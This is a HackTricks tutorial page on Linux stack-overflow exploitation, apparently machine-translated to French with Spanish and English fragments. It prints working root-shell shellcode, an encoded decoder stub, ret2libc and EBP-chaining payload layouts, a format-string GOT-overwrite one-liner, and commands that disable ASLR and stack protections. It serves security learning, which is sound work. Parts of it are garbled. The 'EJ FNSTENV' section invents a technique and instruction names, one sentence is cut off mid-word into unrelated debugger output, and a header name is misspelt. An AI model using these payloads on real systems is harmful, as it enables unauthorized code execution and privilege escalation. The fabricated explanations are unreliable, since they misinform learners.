hacktricks/exploiting/linux-exploiting-basic-esp
2023-06-03 13:10:46 +00:00
..
rop-leaking-libc-address Translated to French 2023-06-03 13:10:46 +00:00
bypassing-canary-and-pie.md Translated to French 2023-06-03 13:10:46 +00:00
format-strings-template.md Translated to French 2023-06-03 13:10:46 +00:00
fusion.md Translated to French 2023-06-03 13:10:46 +00:00
README.md Translated to French 2023-06-03 13:10:46 +00:00
ret2lib.md Translated to French 2023-06-03 13:10:46 +00:00
rop-syscall-execv.md Translated to French 2023-06-03 13:10:46 +00:00

Linux Exploiting (Basic) (SPA)

Linux Exploiting (Basic) (SPA)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ASLR

Aleatorización de direcciones

Désactiver la randomisation (ASLR) GLOBALE (root):
echo 0 > /proc/sys/kernel/randomize_va_space
Réactiver la randomisation GLOBALE: echo 2 > /proc/sys/kernel/randomize_va_space

Désactiver pour une exécution (ne nécessite pas de root):
setarch `arch` -R ./exemple arguments
setarch `uname -m` -R ./exemple arguments

Désactiver la protection d'exécution sur la pile
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack exemple.c -o exemple

Fichier core
ulimit -c unlimited
gdb /exec core_file
/etc/security/limits.conf -> * soft core unlimited

Texte
Données
BSS
Heap

Pile

Section BSS: Variables globales ou statiques non initialisées

static int i;

Section DATA: Variables globales ou statiques initialisées

int i = 5;

Section TEXT: Code instructions (opcodes)

Section HEAP: Dynamically allocated buffers (malloc(), calloc(), realloc())

Section STACK: The stack (passed arguments, environment strings (env), local variables...)

1. DÉBORDEMENTS DE PILE

Débordement de tampon, dépassement de tampon, dépassement de pile, écrasement de pile

Segmentation fault or segment violation: When attempting to access a memory address that has not been assigned to the process.

To obtain the address of a function within a program, you can do:

objdump -d ./PROGRAMA | grep FUNCION

ROP

Appel à sys_execve

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

2.SHELLCODE

Voir les interruptions du kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; nettoyer eax
xor ebx, ebx ; ebx = 0 car il n'y a pas d'argument à passer
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Exécuter la syscall

nasm -f elf assembly.asm —> Nous renvoie un .o
ld assembly.o -o shellcodeout —> Nous donne un exécutable formé par le code assembleur et nous pouvons extraire les opcodes avec objdump
objdump -d -Mintel ./shellcodeout —> Pour vérifier que c'est bien notre shellcode et extraire les opcodes

Vérifier que la shellcode fonctionne

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
            void (*fp) (void);
            fp = (void *)shellcode;
            fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Pour vérifier que les appels système sont effectués correctement, vous devez compiler le programme précédent et les appels système doivent apparaître dans strace ./PROGRAMA_COMPILADO.

Lors de la création de shellcodes, un astuce peut être utilisée. La première instruction est un saut vers un appel. L'appel appelle le code original et met également l'EIP dans la pile. Après l'instruction d'appel, nous avons inséré la chaîne dont nous avions besoin, de sorte qu'avec cet EIP, nous pouvons pointer vers la chaîne et continuer à exécuter le code.

EX ASTUCE (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax            
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Utilisation de l'exploit EJ avec le Stack (/bin/sh) :

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

La technique EJ FNSTENV est une technique d'exploitation de dépassement de tampon qui consiste à écraser la structure de cadre de pile (stack frame) d'une fonction pour contrôler l'exécution du programme. Cette technique est souvent utilisée pour exécuter du code malveillant sur une machine cible.

Le nom EJ FNSTENV vient des instructions utilisées pour exploiter cette technique : EJUMP (saut conditionnel), FNSTENV (sauvegarde de l'état de la pile) et JMP (saut inconditionnel).

Pour exploiter cette technique, l'attaquant doit trouver une vulnérabilité de dépassement de tampon dans le programme cible. Ensuite, l'attaquant doit écrire un shellcode qui sera exécuté une fois que la structure de cadre de pile sera écrasée. Le shellcode peut être utilisé pour ouvrir une porte dérobée, exécuter des commandes à distance ou effectuer d'autres actions malveillantes.

Il est important de noter que cette technique est de plus en plus difficile à exploiter en raison des mesures de sécurité mises en place dans les systèmes d'exploitation modernes. Les développeurs peuvent également utiliser des techniques de codage sécurisé pour réduire les risques de vulnérabilités de dépassement de tampon.

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Chasseur d'œufs :

Il s'agit d'un petit code qui parcourt les pages de mémoire associées à un processus à la recherche de la shellcode qui y est stockée (recherche d'une signature placée dans la shellcode). Utile dans les cas où il n'y a qu'un petit espace pour injecter du code.

Shellcodes polymorphes

Il s'agit de shells chiffrés qui ont un petit code qui les déchiffre et saute dessus, en utilisant le truc de Call-Pop. Voici un exemple de chiffrement de César :

global _start
_start:
            jmp short magic
init:
            pop     esi
            xor      ecx, ecx
            mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
            sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
            sub     cl, 1
            jnz       desc
            jmp     short sc
magic:
            call init
sc:
            ;Aquí va el shellcode
  1. Attaquer le pointeur de cadre (EBP)

Utile dans une situation où nous pouvons modifier l'EBP mais pas l'EIP.

Il est connu que lorsqu'une fonction se termine, le code assembleur suivant est exécuté:

movl               %ebp, %esp
popl                %ebp
ret

De cette façon, si l'on peut modifier l'EBP en sortant d'une fonction (fvuln) qui a été appelée par une autre fonction, lorsque la fonction qui a appelé fvuln se termine, son EIP peut être modifié.

Dans fvuln, on peut introduire un faux EBP qui pointe vers un endroit où se trouve l'adresse de la shellcode + 4 (il faut ajouter 4 pour le pop). Ainsi, en sortant de la fonction, la valeur de &(&Shellcode)+4 sera placée dans ESP, avec le pop, 4 sera soustrait de ESP et il pointera vers l'adresse de la shellcode lors de l'exécution du ret.

Exploit:
&Shellcode + "AAAA" + SHELLCODE + remplissage + &(&Shellcode)+4

Exploit Off-by-One
Il est possible de modifier uniquement le byte le moins significatif de l'EBP. On peut effectuer une attaque comme celle décrite précédemment, mais la mémoire qui stocke l'adresse de la shellcode doit partager les 3 premiers bytes avec l'EBP.

4. Méthodes return to Libc

Méthode utile lorsque la pile n'est pas exécutable ou laisse un tampon très petit pour être modifié.

L'ASLR fait en sorte que chaque fois que les fonctions sont chargées à des positions différentes de la mémoire. Par conséquent, cette méthode peut ne pas être efficace dans ce cas. Pour les serveurs distants, comme le programme est constamment exécuté à la même adresse, elle peut être utile.

  • cdecl (C declaration) Met les arguments sur la pile et nettoie la pile après la sortie de la fonction
  • stdcall (standard call) Met les arguments sur la pile et c'est la fonction appelée qui la nettoie
  • fastcall Met les deux premiers arguments dans les registres et le reste sur la pile

On met l'adresse de l'instruction system de libc et on lui passe comme argument la chaîne "/bin/sh", généralement à partir d'une variable d'environnement. De plus, on utilise l'adresse de la fonction exit pour que, une fois que la shell n'est plus nécessaire, le programme se termine sans problème (et sans écrire de journaux).

export SHELL=/bin/sh

Pour trouver les adresses dont nous avons besoin, on peut regarder dans GDB:
p system
p exit
rabin2 -i executable —> Donne l'adresse de toutes les fonctions utilisées par le programme lorsqu'il est chargé
(Dans un start ou un autre point d'arrêt): x/500s $esp —> On cherche ici la chaîne /bin/sh

Une fois que nous avons ces adresses, l'exploit serait :

"A" * DISTANCE EBP + 4 (EBP : il peut s'agir de 4 "A" bien que ce soit mieux si c'est le vrai EBP pour éviter les erreurs de segmentation) + Adresse de system (elle écrasera l'EIP) + Adresse de exit (lorsque system(“/bin/sh”) se termine, cette fonction sera appelée car les 4 premiers octets de la pile sont traités comme l'adresse suivante de l'EIP à exécuter) + Adresse de “/bin/sh” (ce sera le paramètre passé à system)

De cette façon, l'EIP sera écrasé avec l'adresse de system qui recevra la chaîne "/bin/sh" comme paramètre et, une fois terminée, exécutera la fonction exit().

Il est possible de se retrouver dans la situation où un byte d'une adresse d'une fonction est nul ou un espace (\x20). Dans ce cas, on peut désassembler les adresses précédant cette fonction car il y a probablement plusieurs NOPs qui nous permettront d'appeler l'un d'entre eux plutôt que la fonction directement (par exemple avec > x/8i system-4).

Cette méthode fonctionne car en appelant une fonction comme system en utilisant l'opcode ret au lieu de call, la fonction comprend que les 4 premiers octets seront l'adresse EIP à laquelle revenir.

Une technique intéressante avec cette méthode consiste à appeler strncpy() pour déplacer une charge utile de la pile vers le tas et ensuite utiliser gets() pour exécuter cette charge utile.

Une autre technique intéressante est l'utilisation de mprotect() qui permet d'attribuer les autorisations souhaitées à n'importe quelle partie de la mémoire. Elle fonctionne ou fonctionnait sur BDS, MacOS et OpenBSD, mais pas sur Linux (qui empêche l'attribution simultanée d'autorisations d'écriture et d'exécution). Avec cette attaque, il serait possible de rétablir la pile comme exécutable.

Enchaînement de fonctions

En se basant sur la technique précédente, cette forme d'exploit consiste en :
Remplissage + &Fonction1 + &pop;ret; + &arg_fun1 + &Fonction2 + &pop;ret; + &arg_fun2 + …

De cette façon, on peut enchaîner des fonctions à appeler. De plus, si l'on veut utiliser des fonctions avec plusieurs arguments, on peut mettre les arguments nécessaires (par exemple 4) et mettre les 4 arguments et chercher une adresse à un endroit avec des opcodes : pop, pop, pop, pop, ret —> objdump -d executable

Enchaînement en falsifiant les frames (enchaînement des EBPs)

Il s'agit de profiter du pouvoir de manipulation de l'EBP pour enchaîner l'exécution de plusieurs fonctions à travers l'EBP et "leave;ret"

REMPLISSAGE

  • On place dans l'EBP un EBP faux qui pointe vers : 2ème EBP_faux + la fonction à exécuter : (&system() + &leave;ret + &“/bin/sh”)
  • Dans l'EIP, on met l'adresse d'une fonction &(leave;ret)

On commence la shellcode avec l'adresse de la partie suivante de la shellcode, par exemple : 2ème EBP_faux + &system() + &(leave;ret;) + &”/bin/sh”

le 2ème EBP serait : 3ème EBP_faux + &system() + &(leave;ret;) + &”/bin/ls”

Cette shellcode peut être répétée indéfiniment dans les parties de la mémoire auxquelles on a accès, de sorte qu'on obtiendra une shellcode facilement divisible en petits morceaux de mémoire.

(L'enchaînement de l'exécution de fonctions mélange les vulnérabilités précédemment vues d'EBP et de ret2lib)

5. Méthodes complémentaires

Ret2Ret

Utile lorsque l'on ne peut pas mettre une adresse de la pile dans l'EIP (on vérifie que l'EIP ne contient pas 0xbf) ou lorsque l'on ne peut pas calculer l'emplacement de la shellcode. Mais, la fonction vulnérable accepte un paramètre (la shellcode ira ici).

De cette façon, en changeant l'EIP par une adresse de ret, la prochaine adresse sera chargée (qui est l'adresse du premier argument de la fonction). C'est-à-dire que la shellcode sera chargée.

L'exploit serait : SHELLCODE + Remplissage (jusqu'à EIP) + &ret (les octets suivants de la pile pointent vers le début de la shellcode car l'adresse du paramètre passé est mise sur la pile)

Il semble que des fonctions comme strncpy une fois terminées suppriment de la pile l'adresse où la shellcode était stockée, rendant cette technique impossible. C'est-à-dire que l'adresse qu'ils passent à la fonction en tant qu'argument (celle qui stocke la shellcode) est modifiée par un 0x00, de sorte que lorsqu'on appelle le deuxième ret, on trouve un 0x00 et le programme meurt.

        **Ret2PopRet**

If we don't have control over the first argument but we do over the second or third, we can overwrite EIP with an address to pop-ret or pop-pop-ret, depending on what we need.

Murat's Technique

In Linux, all programs are mapped starting at 0xbfffffff.

By examining how the stack of a new process is constructed in Linux, an exploit can be developed so that the program is launched in an environment whose only variable is the shellcode. The address of this can then be calculated as: addr = 0xbfffffff - 4 - strlen(FULL_executable_name) - strlen(shellcode)

This way, the address where the environment variable with the shellcode is located can be easily obtained.

This can be done thanks to the execle function, which allows creating an environment that only has the desired environment variables.

Jump to ESP: Windows Style

Since ESP is always pointing to the beginning of the stack, this technique consists of replacing EIP with the address of a call to jmp esp or call esp. This way, the shellcode is saved after overwriting EIP since after executing the ret, ESP will be pointing to the next address, right where the shellcode has been saved.

If ASLR is not active in Windows or Linux, jmp esp or call esp stored in some shared object can be called. If ASLR is active, it could be searched within the vulnerable program itself.

In addition, being able to place the shellcode after the corruption of EIP instead of in the middle of the stack allows push or pop instructions executed in the middle of the function to not touch the shellcode (which could happen if it were placed in the middle of the function's stack).

In a very similar way, if we know that a function returns the address where the shellcode is stored, we can call call eax or jmp eax (ret2eax).

ROP (Return Oriented Programming) or borrowed code chunks

The code chunks that are invoked are known as gadgets.

This technique consists of chaining different function calls using the ret2libc technique and the use of pop,ret.

In some processor architectures, each instruction is a set of 32 bits (MIPS for example). However, in Intel, instructions are of variable size and several instructions can share a set of bits, for example:

movl $0xe4ff, -0x(%ebp) —> Contains the bytes 0xffe4 which also translate to: jmp *%esp

This way, some instructions that are not even in the original program can be executed.

ROPgadget.py helps us find values in binaries.

This program also serves to create payloads. You can give it the library from which you want to extract the ROPs and it will generate a payload in Python to which you give the address where said library is located and the payload is ready to be used as shellcode. In addition, since it uses system calls, it does not actually execute anything on the stack but only saves addresses of ROPs that will be executed through ret. To use this payload, the payload must be called using a ret instruction.

Integer overflows

This type of overflow occurs when a variable is not prepared to support a number as large as the one passed to it, possibly due to confusion between signed and unsigned variables, for example:

#include <stdion.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}

Dans l'exemple précédent, nous voyons que le programme attend 2 paramètres. Le premier est la longueur de la chaîne suivante et le second est la chaîne.

Si nous passons un nombre négatif comme premier paramètre, il sortira que len < 256 et nous passerons ce filtre, et de plus strlen(buffer) sera inférieur à l, car l est unsigned int et sera très grand.

Ce type de débordements ne vise pas à écrire quelque chose dans le processus du programme, mais à contourner des filtres mal conçus pour exploiter d'autres vulnérabilités.

Variables non initialisées

On ne sait pas quelle valeur peut prendre une variable non initialisée et il pourrait être intéressant de l'observer. Il se peut qu'elle prenne la valeur qu'une variable de la fonction précédente prenait et que celle-ci soit contrôlée par l'attaquant.

Chaînes de format

En C, printf est une fonction qui peut être utilisée pour imprimer une chaîne de caractères. Le premier paramètre que cette fonction attend est le texte brut avec les formateurs. Les paramètres suivants attendus sont les valeurs à substituer aux formateurs du texte brut.

La vulnérabilité apparaît lorsqu'un texte d'attaquant est mis en tant que premier argument de cette fonction. L'attaquant pourra créer une entrée spéciale en abusant des capacités de la chaîne de format printf pour écrire n'importe quelle donnée à n'importe quelle adresse. De cette manière, il pourra exécuter du code arbitraire.

Formateurs:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

%n écrit le nombre d'octets écrits à l'adresse indiquée. Écrire autant d'octets que le nombre hexadécimal que nous devons écrire est la façon dont vous pouvez écrire n'importe quelle donnée.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

**GOT (Global Offsets Table) / PLT (**Procedure Linkage Table)

Ceci est la table qui contient l'adresse des fonctions externes utilisées par le programme.

Obtenez l'adresse de cette table avec: objdump -s -j .got ./exec

Remarquez comment après chargement de l'exécutable dans GEF, vous pouvez voir les fonctions qui sont dans le GOT: gef➤ x/20x 0xDIR_GOT

En utilisant GEF, vous pouvez démarrer une session de débogage et exécuter got pour voir la table got:

Dans un binaire, le GOT a les adresses des fonctions ou de la section PLT qui chargera l'adresse de la fonction. L'objectif de cette exploitation est de remplacer l'entrée GOT d'une fonction qui sera exécutée plus tard avec l'adresse de la PLT de la fonction system. Idéalement, vous remplacez le GOT d'une fonction qui est appelée avec des paramètres contrôlés par vous (vous pourrez donc contrôler les paramètres envoyés à la fonction système).

Si system n'est pas utilisé par le script, la fonction système n'aura pas d'entrée dans le GOT. Dans ce scénario, vous devrez d'abord divulguer l'adresse de la fonction system.

La Table de liaison de procédures est une table en lecture seule dans le fichier ELF qui stocke tous les symboles nécessaires qui ont besoin d'une résolution. Lorsqu'une de ces fonctions est appelée, le GOT redirige le flux vers le PLT pour qu'il puisse résoudre l'adresse de la fonction et l'écrire sur le GOT.
Ensuite, la prochaine fois qu'un appel est effectué à cette adresse, la fonction est appelée directement sans avoir besoin de la résoudre.

Vous pouvez voir les adresses PLT avec objdump -j .plt -d ./vuln_binary

Flux d'exploitation

Comme expliqué précédemment, l'objectif va être de remplacer l'adresse d'une fonction dans la table GOT qui sera appelée plus tard. Idéalement, nous pourrions définir l'adresse sur un shellcode situé dans une section exécutable, mais il est très probable que vous ne puissiez pas écrire un shellcode dans une section exécutable.
Une option différente est donc de remplacer une fonction qui reçoit ses arguments de l'utilisateur et de la pointer vers la fonction system.

Pour écrire l'adresse, généralement 2 étapes sont effectuées: Vous écrivez d'abord 2 octets de l'adresse, puis les 2 autres. Pour ce faire, $hn est utilisé.

HOB est appelé pour les 2 octets supérieurs de l'adresse
LOB est appelé pour les 2 octets inférieurs de l'adresse

Ainsi, en raison du fonctionnement de la chaîne de formatage, vous devez d'abord écrire le plus petit de [HOB, LOB] et ensuite l'autre.

Si HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Si HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`

Modèle d'exploitation de la chaîne de formatage

Vous pouvez trouver un modèle pour exploiter le GOT en utilisant des chaînes de formatage ici:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

.fini_array

Essentiellement, il s'agit d'une structure avec des fonctions qui seront appelées avant que le programme ne se termine. C'est intéressant si vous pouvez appeler votre shellcode en sautant à une adresse, ou dans des cas où vous devez revenir à la fonction main pour exploiter la chaîne de formatage une deuxième fois.

objdump -s -j .fini_array ./greeting

./greeting:     file format elf32-i386

Contents of section .fini_array:
 8049934 a0850408

#Put your address in 0x8049934

Notez que cela ne créera pas de boucle éternelle car lorsque vous revenez à la fonction principale, le canari le remarquera, la fin de la pile pourrait être corrompue et la fonction ne sera pas rappelée. Ainsi, avec cela, vous pourrez avoir une exécution supplémentaire de la vulnérabilité.

Chaînes de format pour extraire du contenu

Une chaîne de format peut également être utilisée pour extraire du contenu de la mémoire du programme. Par exemple, dans la situation suivante, il y a une variable locale dans la pile pointant vers un drapeau. Si vous trouvez où se trouve en mémoire le pointeur vers le drapeau, vous pouvez faire en sorte que printf accède à cette adresse et imprime le drapeau :

Ainsi, le drapeau est à 0xffffcf4c

Et à partir de la fuite, vous pouvez voir que le pointeur vers le drapeau est dans le 8ème paramètre :

Ainsi, en accédant au 8ème paramètre, vous pouvez obtenir le drapeau :

Notez qu'après l'exploitation précédente et en réalisant que vous pouvez extraire du contenu, vous pouvez définir des pointeurs vers printf dans la section où l'exécutable est chargé et le vider entièrement !

DTOR

{% hint style="danger" %} De nos jours, il est très rare de trouver un binaire avec une section dtor. {% endhint %}

Les destructeurs sont des fonctions qui sont exécutées avant que le programme ne se termine. Si vous parvenez à écrire une adresse vers un shellcode dans __DTOR_END__, cela sera exécuté avant la fin des programmes. Obtenez l'adresse de cette section avec :

objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”

Généralement, vous trouverez la section DTOR entre les valeurs ffffffff et 00000000. Donc, si vous voyez simplement ces valeurs, cela signifie qu'il n'y a aucune fonction enregistrée. Alors, écrasez le 00000000 avec l'adresse du shellcode pour l'exécuter.

Chaînes de format pour les débordements de tampon

La fonction sprintf déplace une chaîne formatée vers une variable. Par conséquent, vous pouvez abuser de la mise en forme d'une chaîne pour provoquer un débordement de tampon dans la variable où le contenu est copié.
Par exemple, la charge utile %.44xAAAA écrira 44B+"AAAA" dans la variable, ce qui peut causer un débordement de tampon.

Structures __atexit

{% hint style="danger" %} De nos jours, il est très étrange d'exploiter cela. {% endhint %}

atexit() est une fonction à laquelle d'autres fonctions sont passées en tant que paramètres. Ces fonctions seront exécutées lors de l'exécution d'un exit() ou du retour de la fonction principale.
Si vous pouvez modifier l'adresse de l'une de ces fonctions pour qu'elle pointe vers un shellcode, par exemple, vous prendrez le contrôle du processus, mais cela est actuellement plus compliqué.
Actuellement, les adresses des fonctions à exécuter sont cachées derrière plusieurs structures et enfin l'adresse vers laquelle elle pointe n'est pas l'adresse des fonctions, mais est cryptée avec XOR et des déplacements avec une clé aléatoire. Ainsi, actuellement, ce vecteur d'attaque n'est pas très utile au moins sur x86 et x64_86.
La fonction de cryptage est PTR_MANGLE. D'autres architectures telles que m68k, mips32, mips64, aarch64, arm, hppa... n'implémentent pas le cryptage car il retourne la même chose qu'il a reçue en entrée. Ainsi, ces architectures seraient attaquables par ce vecteur.

setjmp() & longjmp()

{% hint style="danger" %} De nos jours, il est très étrange d'exploiter cela. {% endhint %}

Setjmp() permet de sauvegarder le contexte (les registres)
longjmp() permet de restaurer le contexte.
Les registres sauvegardés sont : EBX, ESI, EDI, ESP, EIP, EBP
Ce qui se passe, c'est que EIP et ESP sont passés par la fonction PTR_MANGLE, donc les architectures vulnérables à cette attaque sont les mêmes que ci-dessus.
Ils sont utiles pour la récupération d'erreur ou les interruptions.
Cependant, d'après ce que j'ai lu, les autres registres ne sont pas protégés, donc s'il y a un call ebx, call esi ou call edi à l'intérieur de la fonction appelée, le contrôle peut être pris. Ou vous pourriez également modifier EBP pour modifier ESP.

VTable et VPTR en C++

Chaque classe a une Vtable qui est un tableau de pointeurs vers des méthodes.

Chaque objet d'une classe a un VPtr qui est un pointeur vers le tableau de sa classe. Le VPtr fait partie de l'en-tête de chaque objet, donc si une surcharge du VPtr est réalisée, elle pourrait être modifiée pour pointer vers une méthode fictive de sorte que l'exécution d'une fonction aille au shellcode.

Mesures préventives et évasions

ASLR pas si aléatoire

PaX plonge l'espace d'adressage du processus en 3 groupes :

Code et données initialisés et non initialisés : .text, .data et .bss —> 16 bits d'entropie dans la variable delta_exec, cette variable est initialisée aléatoirement avec chaque processus et est ajoutée aux adresses initiales

Mémoire allouée par mmap() et bibliothèques partagées —> 16 bits, delta_mmap

La pile —> 24 bits, delta_stack —> En réalité 11 (du 10ème au 20ème octet inclus) —> aligné sur 16 octets —> 524 288 adresses réelles possibles de la pile

Les variables d'environnement et les arguments se déplacent moins qu'un tampon sur la pile.

Return-into-printf

C'est une technique pour convertir un débordement de tampon en une erreur de chaîne de format. Elle consiste à remplacer l'EIP pour qu'il pointe vers un printf de la fonction et à lui passer comme argument une chaîne de format manipulée pour obtenir des valeurs sur l'état du processus.

Attaque de bibliothèques

Les bibliothèques sont à une position avec 16 bits d'aléatoire = 65636 adresses possibles. Si un serveur vulnérable appelle fork(), l'espace d'adressage mémoire est cloné dans le processus enfant et reste intact. Ainsi, il est possible d'essayer de faire une force brute à la fonction usleep() de libc en lui passant "16" comme argument, de sorte que lorsque cela prend plus de temps que d'habitude pour répondre, cette fonction est trouvée. En sachant où se trouve cette fonction, delta_mmap peut être obtenu et les autres calculés.

La seule façon d'être sûr que l'ASLR fonctionne est d'utiliser une architecture 64 bits. Il n'y a pas d'attaques de force brute là-bas.

StackGuard et StackShield

StackGuard insère avant l'EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> recv(), memcpy(), read(), bcoy() restent vulnérables et ne protège pas l'EBP

StackShield est plus élaboré que StackGuard

Il stocke dans une table (Global Return Stack) toutes les adresses EIP de retour de sorte que le débordement ne cause aucun dommage. De plus, les deux adresses peuvent être comparées pour voir s'il y a eu un débordement.

On peut également vérifier l'adresse de retour avec une valeur limite, ainsi si l'EIP va à un endroit différent de celui habituel comme l'espace de données, on le saura. Mais cela peut être contourné avec Ret-to-lib, ROPs ou ret2ret.

Comme on peut le voir, stackshield ne protège pas non plus les variables locales.

Stack Smash Protector (ProPolice) -fstack-protector

Le canary est placé avant l'EBP. Il réorganise les variables locales pour que les tampons soient aux positions les plus élevées et ne puissent donc pas écraser d'autres variables.

De plus, il effectue une copie sécurisée des arguments passés sur la pile (au-dessus des variables locales) et utilise ces copies comme arguments.

Il ne peut pas protéger les tableaux de moins de 8 éléments ni les tampons faisant partie d'une structure utilisateur.

Le canary est un nombre aléatoire extrait de "/dev/urandom" ou sinon c'est 0xff0a0000. Il est stocké dans TLS (Thread Local Storage). Les threads partagent le même espace mémoire, le TLS est une zone qui contient des variables globales ou statiques de chaque thread. Cependant, en principe, celles-ci sont copiées du processus parent bien que le processus enfant puisse modifier ces données sans modifier celles du parent ni celles des autres enfants. Le problème est que si fork() est utilisé mais qu'aucun nouveau canari n'est créé, alors tous les processus (parent et enfants) utilisent le même canari. En i386, il est stocké dans gs:0x14 et en x86_64, il est stocké dans fs:0x28.

Cette

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
  0x555555557fd0 - 0x555555557fe8  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Sans relro:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
